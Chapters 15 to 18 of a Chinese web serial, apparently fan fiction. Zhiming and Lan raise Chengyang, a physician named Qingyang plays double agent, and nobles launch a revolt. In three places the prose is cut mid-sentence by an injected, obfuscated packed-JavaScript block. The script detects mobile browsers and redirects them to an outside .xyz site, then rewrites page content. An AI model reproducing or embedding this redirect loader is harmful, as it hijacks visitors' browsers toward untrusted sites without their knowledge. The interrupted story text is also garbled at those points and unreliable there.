轻微的衣料摩擦声和重物拖拽的动静很快就被人群的喧闹和烟花的响声掩盖,等着承阳撒娇卖痴够了,顶着凌乱的额发抬起头来,一切都仿佛从未发生过。 云缨从偏僻的地方走出来,裙角沾着一片不明显的血痕,这位并不文弱的策士甩了甩手,对质明行了一礼,又回到了暗处。 母女两个有模有样地商量了半天,终究还是没带回一些刻板印象的曜青特产去霍霍岚,而是从售卖工艺品的小摊上带回了一枚银质的箭镝。银镝上镂刻着简洁大方的花纹,尖锐的部分磨钝了,很适合作为挂坠。 质明并指把银镝推到岚面前的时候,承阳也扒在石桌边上,眨巴着眼睛,期待地看着师父。 “这孩子给你选的,她可是放弃了很是看好的辣椒香菜,好不容易才挑出了这个呢。” “……某,很喜欢。”岚笨拙地,摸了摸承阳柔软的发顶。 15. 忧惧 如质明所想,年节时候的丹鼎司确实忙得不可开交。 因着没有亲眷,年节也并无要事,青阳申请了留在丹鼎司当值。今年他的境遇确实好了不少,至少没有人把节假日值守的任务二话不说就扔给他,而是客客气气地来征询他的意见。 青阳已经做惯了这种事,没有多说,也没有为难,痛快地签了值班的字。 上头并没有命令下来,他也乐得清闲,只把准备来消食的汤药熬煮得格外苦涩,等着今年吃多了不消化的倒霉蛋。这样的家伙孩子居多,医士当久了就明白,有时候劝家长是没有用的,只有让当事人自己记住吃的苦头,才能再也没有下一次。 因此当青阳看见去年来过一次的小男孩再次站在他面前时,还是忍不住噗嗤笑了一声。这一声笑像是唤醒了男孩的记忆,他一下子就想起了去年同一时间发生的事,看着青阳手里汤药的表情一下子就变了。 “哭了药也不会变甜。”青阳残酷地说。 正准备哇哇大哭的男孩一下子就哽住了,看着青阳的眼神更是愤恨。但是哪儿哪儿不舒服的肚子还是让他视死如归地端起了药碗,在青阳好整以暇的注视下,一边呜呜地哭一边喝完了。然后耐造的木碗被扔下,小孩儿哭着去找爹妈了。 青阳的心情很好,这份好心情一直持续到他回到家中。 被人动过的门窗,隐隐的血腥味,隐蔽处的联络标记,都昭示着他独居的家中还有另一个人的存在。那股子面对病人和孩子的轻快一下子就消散了,他仿佛又回到那个前往祭拜师父的初秋,涉水而过的冰冷从他的脚背爬上,轻轻覆盖面颊。 他扯了扯嘴角。 “出来吧,没人跟着我。”容貌平平的医士说道。 通往阁楼的木梯后面摔出来一个人,成年人身形,平民打扮,一只手臂齐根断去,还在流血的伤口里扎着一段尚在生长的、金丝似的气根。 青阳看了一眼,随手关好门,上前几步,将男人从地上扶起来,扶进了配药的暗室。 闪着寒光的镊子夹住张牙舞爪的气根,青阳往上喷了一点其他丰饶民的提取物,满意地看着它安静下来,然后冷声道:“正面对上长桑君,你能活着到我这里,我很怀疑你是被故意留下的。” “咳……”平民打扮的男子咳出一口血,“确认过,没有尾巴。” 青阳冷笑一声,夹着那看着甚至有些美丽的气根:“它就是最大的尾巴。” “那现在怎么办?”男人紧张起来。 青阳瞥了一眼那安静的“金丝”,睁着眼睛说瞎话:“不必紧张,已经失活,我再处理一二,此地不宜久留,你带着它离开之后随便扔了即可。”他说完,没等男人回答,就转身开始配药。 加速开放性伤口恢复的药剂配得很快,天人亚种体质强健,即使不用药也能恢复,只是时间快慢问题。青阳将气根收入透明瓶中,目不斜视地称好药材粉末,娴熟地混合,最后混着净水一把贴在男人的伤处,接着就是紧急包扎。 气根缓缓伸长,青阳将其取出时,轻轻掐下一段收入袖中,让它看起来和刚才没什么差别,又喷上提取物,便交还给男人。贵胄的刺客头子接过,对青阳点点头,便很利索地翻窗走了,留下年轻的医士独自处理房中隐隐的血腥味。 气根从他的袖中缓缓生长而出,分叉的丝线爬上了他的手背,青阳无言地看着这能够轻易将人搅碎的“金丝”,语气十分平静。 “长桑君,不知我的投名状,您可满意?” 寂静的室内仍然只有他自己的呼吸声,但青阳手背上的气根,却已经无声无息地融入了他的血肉,变成了他经脉的延伸。只要他想,这些脉络就能帮助他纺生织命,念头一转,也能绞杀敌人于无形。 青阳看着自己的双手,神情似哭似笑。 * 年节过后,又是一阵忙碌,圆峤的中枢机构有条不紊地重新运行起来。人一忙就想不起来太多细枝末节的事,质明如是,岚亦如是。不过前者单纯是因为她的细枝末节(写实)太多,后者就多半有点逃避的意味。 如是经年,又是一段不长不短的年岁过去。 承阳和流花确实是两个天资聪颖的孩子,只是如今年龄还太小,不到他们承担责任的时候,圆峤的大梁还要压在质明与岚肩头很长一段时间。 岚对此并无意见,他做惯了军中的事,无非是练兵带兵,他短暂的一生中除了少年时代,多半都是过着这样的生活。但与他不同的是,随着这几年承阳的长大和圆峤局势的稳定,质明却有些微不可查的焦躁。 虽说长桑君的外在表现向来喜怒无常难以讨好,但生活中的质明性格还是很温和的。岚注意到她向尸位素餐的洞天之主撒气的频率明显升高,偶尔也会以某种略显忧虑的神情看向蹦蹦跳跳的承阳。 这种神情在那孩子看过来的时候就会消失,但承阳和岚都有所察觉。 岚的反应是先去彻查圆峤目前的军备和布防,再是检查各个主要洞天的宿卫和应急措施,最后疏通暗地里联络过的线人和情报……逐一检查,确认无误,一切都在掌控之中,他才后知后觉地意识到,质明的烦恼大概并不出于这里。 承阳的应对就要直接得多。岚教过她如何隐蔽地观察敌情,她学会之后立马就举一反三,开始偷偷观察起了她的母亲。岚出于某些顾虑,并没有第一时间提醒她:每一片树叶、每一缕日光,都可以是质明的眼目。 等到这孩子偷窥得起劲时,岚已经无力阻止了。 于是在某个风和日丽的下午,质明休沐,黉学放假,岚也刚好在家,便眼睁睁地看着质明提溜什么小动物一样捏住了女儿的后颈皮,笑眯眯地问:“你这小东西,偷偷看我好些天了吧,是闯了什么祸了?” 这话说得就有些冤枉了,承阳很少闯祸,女孩儿有限的精力不是在学业上就是跟着岚练武,顶天了和流花去给慈幼坊的阿嬷打白工,懂事得可怜又可爱。弄得岚常常反思自己是不是太拘着弟子。 果不其然,听了这话,小孩儿圆圆的脸颊便小河豚似的鼓了起来,四肢也地扑腾着:“我才没有闯祸!” 在岚扶额无声叹气的背景里,质明含笑确认了另一个答案:“那你果然偷偷看我。” 承阳在这方面的段位果然只能被质明耍着玩儿。岚一边想着,一边欲要退走,免得着母女俩的火烧到自己身上来,正待迈步,就被质明叫住:“岚,这里也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099064|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有你的事。” 便宜徒弟和便宜师父排排站着,等着质明发落,但他们没等到询问也没等到调侃,只等到一声叹息。 “我最近确实有些忘情了,害你们担心,是我的不是。” 她招了招手,承阳便自动自发无比熟练地贴了上去,用母亲宽大的袖子遮着脸,瓮声瓮气地问:“妈妈最近怎么了,可以说吗?”岚在一旁坐下,也以询问的目光看向质明。 质明轻轻拍着女儿单薄的脊背,声音同春风一样柔软下来,带着些许疲惫,她问:“承阳,你今年几岁了?” 承阳抓着母亲的绣着萱草纹的袖摆,毛茸茸的脑袋拱出来,脆生生地回答:“我八岁了!” 质明于是便笑,笑着伸出手指,轻轻的梳理女儿凌乱的额发,接着问:“那你还记得吗,我同你说过,你还有个姐姐?” 承阳用脑袋去蹭母亲的手,闻言,点了点头:“姐姐很早就离开了,没能在您身边。” 她被教得很好,她理解死亡与生命的概念。 质明听了,暖融融的手指往下,又贴在了承阳的颈侧,感知着她有力的脉搏。接着,质明很轻很轻地叹了一口气,像是担心碰碎了什么:“……她,没活过八岁。” “……我只是、有些害怕。” 她把小小的女儿轻轻拢在怀里,暖融融的孩子雏鸟似的,紧贴着她的心跳。 “怕你生病,怕你遇见意外,怕你受伤,怕你不快乐……刚捡到你的时候你那么瘦、那么小,圆峤现在也还没彻底定下来,我实在是担心太多太多了。”她絮絮叨叨地说着,仿佛她根本不是多年前同岚自嘲的控制狂,他人眼里的独裁者,只是一个担心幼子的母亲。 承阳在她怀里看不见,但岚看得见,与她平稳的声线不同,那双被金纱遮蔽的眼,如今又落下泪来。 岚一时不明白她为什么让自己留下,这不是他应该出现的场合,这太私密、太隐晦,太…… 太接近她了。 接近她的过去,她的内心,她从不与人言说的想法,她故事的最初。 突兀地,岚想到了一个问题,但现在并不是询问的时机,他只是静默着,如同一尊守卫的石像。 到了夜里,承阳睡去,月华如水,质明也缄默如水,沉静地看着踏月而来的岚。 “……以你的权能,复生沐星,应当不是难事,为何不做?” 白日里显出异样柔软的女人在此时又恢复了平常的秉性,她似乎是沉思了片刻,又仿佛不假思索,只是道:“颠倒生死,违逆伦常,必定付出代价,我不吝一力承担,但……哪怕落在她身上的是一粒尘土,我也不愿意。” “而且……我生来目盲,不知道她是什么模样。”她抚摸着遮目的金纱,轻飘飘地道出了重若千钧的事实,“我连做梦也梦不见她。” 岚听着质明的话,又觉得自己不该在这里了。 似乎是觉得气氛沉重,质明神态自若地换了个话题:“你说,我们如今这般,和做了夫妻有什么区别?” “某——”岚开了口,吐出一个字,却不知道该怎么说下去。 “嘘。开个玩笑。” 质明温柔而疲惫地笑着。 16. 蜕变 没人知道那个寂静的月夜,岚与质明如何揭过微妙的情感话题。昼夜只是如常轮转,日月也随之涨落,第二天承阳揉着眼睛醒来的时候,只知道她的母亲与师父一如往常。 质明微妙的焦躁情绪仍然存在,只是不再隐藏避讳。 她鲜少有对单独的个体控制欲如此之强的时候,但承阳对此适应良好。她接过枝叶编成的护身符,接过打造的长命锁,接受质明每隔一段时间的健康检查……分明是的个子小小的姑娘,这个时候却显出了无比成熟妥帖的一面。 她像体贴一只应激的猫猫一样体贴着质明。 在过了承阳的九岁生日之后,质明的情绪终于恢复正常。 时至今日,流花与承阳都长大了不少,前者随着年龄的增长心性越发坚定,而与之相对的,承阳则显出了些许天生的狡黠。她本来就是很聪明的孩子,长大了一点之后更是学会了利用这份敏锐与聪颖。 小到更改解题思路,大到规划训练时间,承阳好用的小脑瓜里全是聪明劲儿。等到了流花沉迷练武,数算的课程跟不上需要请好友帮忙补课的时候,承阳已经能和岚对上好几盘兵棋不落下风了。 她这些年里倒是不嚷嚷着要保护妈妈了,因为她终于意识到,至少在母亲的下属眼里,质明女士真的是个很恐怖的女人。而这群人对着长桑君噤若寒蝉,对着很少能碰见的承阳倒是笑脸相迎……这并不是什么好事,这意味着她仍然是母亲的弱点,母亲的软肋。 而岚也拘着两个少女的从军申请,问就是时机还不到。前几年流花和承阳都还能说服自己,这个时机不到指的是年龄还不到,但过了许久,直到年纪小一些的承阳都已经及笄,岚却仍然没有同意。 倘若是一般的少年人,此时怕是已经闹起来了,但流花和承阳都不是一般人。前者已经跟随经营慈幼坊的师父进行力所能及的巡逻和护卫,而后者则是纯粹相信,自己师父答应过的事情不会轻易毁诺,哪怕那件事情发生在她还是个小孩儿的时候。 那所谓的时机,究竟是什么呢? 有些问题直接问是得不到答案的,需要先观察,再等待,最后在恰到好处的时间里,才能找到真相的一角。承阳向来是很有好奇心,也很有耐心的。 如是思索着,这一日的课程结束了。承阳拎着包和流花一起离开了黉学,自从承阳及笄之后,母亲的策士云缨便不再负责接送,而是让她自己独自归家。这一举动代表的不只是对女儿成年的认可,更多的是对其自由的尊重。 不过,可能还有更重要的一点。 承阳一边想着,一边轻轻抚上了随身的佩剑。一旁的流花也注意到了什么,她同承阳默契地对视一眼,用整理发髻的动作通过随身的玉兆发送了求救信号,随后也单手按在了武器上。 ——那就是让她独自面对危险。 承阳出剑极快。 岚卓有膂力,一手弓箭使得出神入化,承阳自然也精通此道,但这毕竟是寻常下学,身边没有重弓,只得拔剑出鞘。她学的是行伍的剑法,精通的是杀人的手艺,即便剑锋从没见过血,也不妨碍她出手凌厉,锐不可当。流花的师承与她相似,如今自然而然地为她掠阵。 暗处出现的人并不多,但个个身形矫健,步伐轻盈,一看便是练家子。但所幸其中并没有命途行者,也没有看上去形貌特殊,使用了违禁药品的人,粗看之下并不难应付。 他们也并不与她沟通,上来就是刀枪剑戟直奔要害。 仙舟接入星际网络已经一千余年,市面上能够买到的武器多半都进行过拆解研究,秉承着仙舟一惯的以旧形新原则,看似古朴的冷兵器多半都藏着了不得的重火力。承阳的剑如此,对面的兵器也如此,大概圆峤上能算得上真正冷兵器的,只有质明的那把剑。 但这并不代表剑法招式不重要。 承阳剑出如虹,干净利落,她刚刚及笄,身量未成,剑法自然偏向轻巧灵敏。 两人早已观察到周遭是一处偏僻所在,行人稀少,便于躲藏。在此处作为伏击地点确实得天独厚,但对承阳和流花而言,此地也十分便利,因为不必担心波及普通百姓。 求援已经发出,如无意外援军很快就能赶到,显然对面也意识到了这一点,行招走式不免急躁起来。承阳抓准了这个时机,剑锋一转,便将一人手中兵器挑落,随后顺势将其一招撂倒,狠狠压制在地面。 其余人见同伴已经露出颓势,并未退却,而是更加激进。 流花一人,难免左支右绌,她一边拂袖挡了一边的暗器,又折身躲过一次袭击,剑锋和短刀交接,金铁之声不绝于耳。暂得喘息之际,她正要回身查看承阳的动静,一侧脸,便有一抹鲜红飞溅到她脸上。 头颅滚落在地的声音极小,金瞳少女剧烈的呼吸声却极重,她显然有些笨拙,脸上也有不少喷溅的血痕。 流花正在愣神之际,便见同伴眸光一转,染了血的佩剑直冲自己而来。 那佩剑擦过流花的脸颊,直直穿过她背后举起武器的成年男子的咽喉,将他钉死在身后的墙面上。 在濒死的“嗬嗬”声里,承阳厉声喝道:“别发呆!” 身体先于意识,赤发红瞳的少女提剑一挥,利落地斩断了一个袭击者的手臂,然后洞穿了他的丹腑,接着是心脏。 两人已然见了血,凶性不同以往,剩下的袭击者见势不妙,当下便急于脱身。 流花正欲追上,承阳却喊住她:“别追了。” 少女一向清亮的嗓音此时有些低哑,流花注意到,她此时正用有些颤抖的、染血的手,紧紧抓着自己衣襟上别着的护身符。 家里有孩子的圆峤人都会编织这种简单的护符,新鲜的桑枝和月桂用长辈的头发束在一起,晾干之后挂上穗子,就能保佑幼子平安长大。承阳的护身符上,缠着的头发和穗子都是白色的,它们属于质明,流花的是深棕色,来自她的师父兼阿嬷。 流花后知后觉,自己握着剑的手已经用力到脱力,黏腻的血在掌心,在指缝,“当啷”一声,她的佩剑掉在了地上。 杀人了。 她杀人了。 她和承阳……都亲手夺去了别人的性命。 沉重的、凌乱的呼吸声里,充斥鼻尖令人作呕的血腥味里,流花听见比她小一些的同伴说: “……原来这就是时机。” 慈不掌兵,出锋见血,莫过如是。 她们不怕见血,女孩子都是不怕见血的,葵水到了之后,哪个女孩子每个月没见过血呢。她们只是一直被保护着,没让她们在不该面对残酷事实的年纪面对这些事情,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099065|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在想来,每个云缨领着承阳离开的日子,明里暗里应该都有不少军士。 象牙塔的门被她们自己推开了。 以前只能在窗内隐隐看到的暗流涌动,如今彻底来到了她们面前,涌上了她们的脚面。 生命是很珍贵的东西,无论是谁的,无论以怎样的形式存在着。夺走生命的行为是残酷的,但让这些人十数年如一日,前赴后继地来到她们面前的人,做出了远比她们今日要残酷一千倍、一万倍的事情。 承阳将一只手压在心口,紧紧握着母亲编织的护身符,她踉跄着走了两步,伸手,收回了钉在墙面上的佩剑。失去呼吸的尸体沉重地滑落到地上,承阳的目光追随他无神的眼,也坠落到地面。 质明赶到现场的时候,看见的就是这样的场景。 于是质明上前几步,取出湿润的面巾,把女儿叫到跟前,细细地用面巾擦掉她脸上和手上飞溅的血痕,然后整理她散乱的额发和有些松散的发髻,最后将一件披风搭在承阳的肩头,盖住她满是血污的衣裙。 质明没有说什么,有些话不适合在大庭广众之下说,她只是轻轻抚了抚承阳满是冷汗的手心。 慈幼坊的话事人也来了,这是一位神态坚毅的女性,她走到流花面前,上下打量一阵,颇为肯定地点点头,一边把红发的弟子拉起来,一边给她身上拍了拍土:“不错啊,都没受伤。” 母女两人一路无话,回到葳蕤行道时已是日落时分,白日的桑叶已经变为叶片细长的月桂,清苦微辛的香气弥散,冲淡了承阳身上的血腥味。等到承阳沐浴归来,白练似的月光已经从树梢上流淌下来,同质明缎子似的白发交相辉映,不分彼此。 刚过了十五岁生辰的姑娘还是爱撒娇,拆了发髻的脑袋放在母亲腿上,质明很好脾气地给她擦了头发,她又用质明长长的袖子罩着脸了。 “这么久都不说话,吓着了?”温柔沙哑的女声抚慰着少女隐隐的不安。 承阳轻声问:“妈,你每旬例会上见到的,都是他们吗?” 质明笑了一声:“十之八/九吧。顺便,对你笑得最谄媚的也是那几个。” “……还留着他们,一定有什么作用吧。” 眼覆金纱的女人笑意更深了:“连你都看得出来的事,怎么就没让他们这十多年安分些呢。” 一问一答之中,承阳的情绪迅速稳定下来,她道:“除了刺杀,应该还有别的隐秘行事,他们的手段应该会更丰富一点。” 质明没有否认,她抬眼,同拎着东西回来的岚打了个招呼:“是有不少,等你进了军中,让你师父同你详细说说吧。不过现在嘛……你都不觉得饿么?”说完,她捏了捏少女还带着点稚气的脸颊。 承阳“唔”了一声,接着就嘟囔着:“这么大的事,谁还记得吃饭啊……” 质明拆开包裹,用筷子敲了敲女儿的脑袋:“你小时候比这大的事情海了去了,也没见谁把吃饭忘了。” 岚没跟着附和,因为他就是那个非必要一般不吃的。 这一晚,早就从母亲房中搬出去的承阳久违地又和质明睡在了一起。她蜷缩起来,脑袋埋进母亲的长发里,用质明身上淡淡的香气冲淡那梦中也有的血腥味。 质明没睡着,她只是爱怜地注视着蜕变成长之中的女儿。 17. 隐忧 扶疏天,丹鼎司。 青阳正在药田中检查这一批药材的质量。 昨日下过雨,土壤产生了细微的改变,有些娇贵药材不喜欢潮湿的环境,便要来看看是否要挪到室内。按理来说以圆峤现在的水平,相应的植株应该有统一管控,但事实总有例外,个别单独栽种的品种还是需要人工呵护。 百叶不喜欢和同僚打交道,身为他弟子的青阳也一样。不过前者是因为恃才傲物,自矜身份,后者就是纯粹不爱扎堆,也不愿意和人交流太多。毕竟青阳心里藏了太多不适合透露的事,稍有行差踏错就有性命之忧。 比起心思各异的同僚,还是不说话的药材可爱些。 根植于经络的悬丝微微颤动,青阳便知道有人来了。他并未起身迎接,而是仍然翻看着手中植株的叶片背面,检查有无虫害,直到来人开口: “青阳医士,我家主人有令。” 青阳这才装作刚刚发现来人,动作顿了顿,放开叶片起身,平静地应了一句:“讲吧。” “我家主人听闻丹鼎司已然承接了军中要务,为军中制备方剂,汤药、丸药不可胜数,希望青阳医士也参与其中,为军中守备保驾护航,以待来日。” 这话说得婉转又好听,乍一看似乎只是寻常鼓励,但暗藏的意思确实在叫人不寒而栗。 关于丰饶赐福的研究被禁绝了相当一部分之后,丹鼎司确实成了只有闲差的清水衙门,如今军中有用,也算是各个摩拳擦掌,想要好好表现一番。而他们的意思,是让青阳也去做这摩拳擦掌力争上游的一员,最好打入内部,获得信任,等到他们一声令下,或是更换药材或是改变丹方,都在青阳一念之间。 青阳不咸不淡地刺了一句:“你们还真是看得起我。” “当不当得起,我家大人自有盘算,可要不要去当,就是青阳医士的诚意了。” 面容普通的青年状似隐忍,好半天才吐出一句:“……我会去的。” 等到看不清面目的人走了,青阳还是独自在药田里留了好一会儿。一方面是演给不知道存不存在的眼线看,另一方面,需要检查的药材确实还没检查完。 不过,那微微颤动的悬丝告诉他,丹鼎司之内隐晦注视着他的人,并不少。 ——蝼蚁之资,蚍蜉撼树。 葳蕤行道。 质明从卷宗中抬起头,道:“丹鼎司的情况不太妙啊。” 岚冷静地评价一句:“神降时代之遗祸,贻害至今。” 质明点点头,转而说道:“我之前还担心,军需储备的药物订单分出去,这么明显的饵,大概不会有多少人咬,但现在看来,是我高估他们了。” 一旁的云缨思索片刻,道:“绝大多数洞天之主的收益来自洞天与洞天之内的土地,如今他们对土地的治权岌岌可危,经济上自然捉襟见肘。圆峤军需储备向来出手大方,他们想要从其中贪墨一二也未可知?不过更重要的,应当还是向军需动手的机会。” 承阳一边和岚下着军棋,一边轻笑:“哎呀,看来之前故布疑阵的法子见效了。” 流花抱剑侍立,闻言便道:“军中假作哗变,导致对军医的保护疏忽,令他们有机会趁虚而入,因而做出军需无法自给的假象……” 承阳笑眯眯的:“既然哗变都是他们一手策划,接下来发生的一切,不都是顺理成章?人嘛,是不会怀疑自己亲手推动之事的。”她半眯着一双金眸,看来十足慵懒,话语中却锋芒毕露。 质明一锤定音:“接下来,就看他们何日起事了。” 其实她心中其实尚存些许疑惑。从青阳那边传来的消息不会作假,军中借着哗变抓出的细作也确有其事,那些洞天之主的行为看似鲁莽,但符合其一贯风格,应该无有遗漏才对……但总觉得忽视了什么。 质明同岚对视一眼,在对方眼中也看到了同样的凝重。 但两人谁也没出声,只等着其他三个年轻人继续讨论着细节和推测。 这毕竟是留给新一代的试题,如果让她和岚帮忙疏通了所有难处,那这一道试炼也就失去了意义。不过他们确实需要对此进行准备工作,万一孩子们力有不逮,也好去兜底完善。 摇光天。 结束了讨论之后,质明便来到了这里。 摇光天位于桑桂的最高处,防护用的道道星轨都会经由此地,最初质明也是在这里依次布设了这些东西。除此以外,这里还放着演算天气的混沌模型,架设不久之后,圆峤人便将之命名为【太穹浑仪】,让它彻底摆脱了过于化外民的称谓。 环绕的星轨和张开的防御力场其实都经过一次较大的调整。因为布设这些东西的目的是保护而非封禁,所以它们不应无差别地阻拦每一个进入星域的存在,而是有条理地筛选过滤。 这件事情也不能让质明亲力亲为,她只是一棵树,一个人,不是一台玉兆,也不是很多年以后才会出现的大衍穷观阵。舰队到达一定规模、能量波动到达某一个量级,这种信息才会被质明所接收。 筛选与过滤的程序是由摇光天的工作人员写的,而质明作为持有者,拥有最高权限,圆峤四支卫队的航行记录查看要求颇高,所以她才会亲自过来调取。她希望能从中找到被忽略了的那些东西。 …… 四月廿三,「丛云卫」分队一,执行巡航任务。 辰时自封云驿驶离,经坐标某某至坐标某某,无异常发现,酉时回归。 四月廿八,「解衔卫」分队三,执行巡航任务。 酉时自封云驿驶离,经坐标某某至坐标某某,于坐标某某发现星舰残骸,未发现可疑目标,子时回归。 …… “巡航时间对得上吗,岚?”质明一边翻一边不知何时站在身边的挺拔男性。 岚显然也在思索,停顿了一下,他道:“没有问题,一切如常。” “不在时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099066|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,那就在内容上……”质明将繁杂的记录从头开始翻阅,最终触及屏幕的指尖停在了某一年四月的最后两条记录,“「解衔卫」当时发现的星舰残骸,有上报情况吗?” 岚摸出自己的玉兆,对着时间翻到了当天的记录,他看了一眼,便皱起了眉头:“那不是一般的星舰残骸,但没有人继续通报……”他将图片点出来,立体投影到空中,让质明也看。 可怜的岚将军不是在内战就是在守眠,他可能见过丰饶民的一部分提取物,但他显然没见过投影里的东西,只是对军用载具的先天熟悉让他觉得不同寻常。 而质明看了一眼,就已经开始冷笑了。 “步离人的兽舰,设施完善,多半有完整的星轨航图和发信设施。” 圆峤与世隔绝已经将近二十年,这二十年间这片星域没有遇见公司,没有遇见文明,没有遇见丰饶民,连虫群都没有遇上,修好的发信装置渺无回音,简直让质明怀疑自己的坐标已经不在真实的宇宙,而是在某个亚空间。 而现在告诉她,其实能够重新接入银河网络的设备和信息就在眼前,只是被人私藏,甚至捣毁。 ——这如何能不愤怒呢。 金纱遮目的长桑君怒极反笑,咬字极重,仿佛啖人骨血:“他们最·好还把那些东西留·着。” 而岚拧着眉,他更进一步,关注到了另外一件事情上:“也就是说,他们联络了丰饶民。” 质明现在反而冷静下来,显出一股冷厉:“里应外合,内忧外患,好、好、好,真是好极了。” 她实在是把那群蠹虫想得太聪明也太有道德,以为内乱便内乱,多少还是会留些同为人类的体面,但显然,聪明人殚精竭虑不如蠢人灵机一动。 ……或者换个角度,在他们眼里,她是与丰饶民同等的灾祸。这一点值得肯定与嘉奖,但如果他们只是等同视之,而不是试图驱狼吞虎,养虎为患,那就更好了。 呵。 不难想象,如果放任这群蠹虫继续把持中枢,他们会为了自身的利益做出什么骇人听闻的事情来。 出卖自己种族的人从古至今都是不缺的。她只觉得可悲。 岚的愤怒不像她那样外显,只是仅仅抿着唇,长眉拧紧,握着玉兆的手不自觉用力。因为这并不是发泄情绪的场合,所以岚只是十分克制地道:“双方应当会同时发难。” 军中的细作留下了一部分,这些人大概也会在那个时候有所行动。 岚以询问的目光看向质明。 圆峤的长桑君深吸一口气,道:“你坐镇后方,我随时应急。承阳如果能发现不对,自然会来找我要权限或者问你巡航记录,如果没有发觉,倘若能够临场机变,也无伤大雅……最差的情况,不过再磨砺她们几年。” 被寄予厚望的年轻人们,最小的那个才二十岁呢。 “——但洞天之主的隐忧,这次必须连根拔起。”质明冷酷地说。 18. 骚乱 一切的混乱从秉烛鬼市开始。 这里如今已经变成了整个圆峤的商业中心,不论昼夜都是一派游人如织、商贩云集的繁华景象。不过今日秋风萧瑟,冷雨微微,街上略显冷清。 贵胄的叛军冲杀进来时第一时间没能察觉到什么异常,便按照计划指挥手下的兵丁去挟持路人,谁知道叛军一追上那些仓皇逃命的路人,猝不及防之下就被枭首或是毙命,血腥味一下子充斥在潮湿微冷的空气中。 叛军首领这下才发现不对,急忙收缩阵型,他放眼一看,那些方才还尖叫奔逃的商贩路人,无不冷漠地注视着他们,淅淅沥沥的雨声里,伴随着流到脚边的血色,这些人掏出了锋利的兵器。四处的街巷里也有铠甲摩擦的声音,任谁来了都能看出,他们这是被埋伏了。 承阳入伍已经将近五年,在圆峤的鸾翮卫中效力,这一支和流花隶属的赤霄卫一样,都是由曾经起义、试图推翻贵胄统治的平民百姓组成。一开始军制混乱,资质良莠不齐,岚先将他们打散重编,又花了好几年时间训练教导,才终于拉出来像模像样,不类草寇。 岚也向他们承诺过,终有一日,圆峤将不再有贵胄褐夫之分。 因为出身和文化水平问题,即使在整编之后进行了比较系统的扫盲和再教育,赤霄卫和鸾翮卫在复杂的星舰操作和宇宙航行上仍然有所欠缺,但他们的优势在于——擅长巷战。 不会有谁比成日里在矮墙窝棚里过活的人更懂怎么利用地形、杂物,甚至是路边的臭水沟。 负责此处的正是鸾翮卫。 虽说承阳从小就被长桑君收养,没在生活上吃过什么苦头,但和鸾翮卫的同袍们处了这么些年,她又不是娇气的性子,该有的认知和习惯也都练出来了。金眸熠熠的女性此刻便轻巧地踩着集装箱,折身避过一道激光,反手就朝激光的方向挥出一道剑气,沿路砖石碎裂,草木摧折。 剑气打落了一根挂着长长帆布招牌的竹竿,竹竿落下,砸到些叛军的同时,帆布招牌也蒙在了不少人面前。反应快的很快就挥舞着武器撕碎布片,但还是有很多叛军在看清之前就被军士们取了性命。 这一场发生在秉烛鬼市的战斗,天平毫无疑问地倾向了质明这一头。 质明面前的军棋被她拿起,慢慢向前推了一步。 而岚在棋盘的另边,放上了一枚异色的棋子。 第二处叛军爆发在封云驿。 这里曾经是圆峤的对外港口,圆峤漂流宇宙与世隔绝的二十年里,它逐渐演变成了交通枢纽。叛军想要控制这里没有谁会意外,这里也无需更多埋伏,于是叛军起事的同时,早有准备的赤霄卫踏入了正面战场。 这一支卫队就如同流花本人的风格一样,沉稳坚韧,粗中有细。叛军破坏交通枢纽的行为,在军中许多人看来简直如同当年的金人一样可憎,群情激愤之下,主要负责镇守保护交通要道的赤霄卫,竟然也一度将战线推进到封云驿入口处。 在光炮与能量射线齐飞的战场,流花刚刚破坏掉一艘叛军的小型载具,便有更多源源不断的飞舸从空中到来,她在第一线拼杀着,稍微分心关注了些许同袍的情况。果然,飞行士并不充足的赤霄卫想要从地面对飞行部队造成压倒性杀伤有些困难。 但所幸,他们要做的并不是击退敌人,而是保护好封云驿航运中枢的安全,同时拖住眼前的这些叛军。 叛军的火力并不充足,圆峤的能源也没有富裕到随意用来研发武器,研发后的武器还能在供给卫队的同时流入市场,所以小型飞舸能对防守兼顾的地面设施造成的破坏有限,要想达成目的,他们只能选择步战。 两枚异色的军棋短兵相接,谁都没有按照规则将其中一枚取下,因为真正的战斗一直胶着。 质明从岚的手边拿了一枚敌方的兵棋,轻轻放在自己的中军帐旁。 第三场骚乱在丛云卫和解衔卫中出现。 丛云卫和解衔卫都是圆峤原有的建制,但当时贵胄多有供养私兵,对于这两支卫队并不重视。虽说不重视,但大小是个差事,因此军中多有纨绔子弟,军官也有吃空饷的情况。岚同样对这两军进行了整编,一视同仁地进行训导,但出于某种考量,他多有厉行纠正歪风邪气的行为。 